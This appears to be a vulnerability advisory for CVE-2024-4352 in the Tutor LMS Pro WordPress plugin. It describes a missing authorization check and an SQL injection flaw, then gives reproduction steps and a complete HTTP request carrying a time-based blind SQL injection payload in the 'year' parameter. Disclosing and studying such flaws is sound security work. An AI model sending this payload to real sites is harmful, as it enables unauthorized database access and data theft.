CVE-2024-4352 Tutor LMS Pro <= 2.7.0 - Missing Authorization to SQL Injection
Description
The Tutor LMS Pro plugin for WordPress is vulnerable to unauthorized access of data, modification of data, loss of data due to a missing capability check on the 'get_calendar_materials' function. The plugin is also vulnerable to SQL Injection via the ‘year’ parameter of that function due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for authenticated attackers, with subscriber-level permissions and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.
Vulnerable addon calendar
File: addons\calendar\classes\Tutor_Calendar.php
Steps to Reproduce:
- Register an account and enroll in the course
- Send request with payload
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: <host>
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.5414.75 Safari/537.36
Connection: close
Cookie: {{Cookie}}
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Content-Length: 80
action=get_calendar_materials&year=0+or+sleep(if(1=1,5,0))&month=1&_tutor_nonce={{_tutor_nonce}}
Poc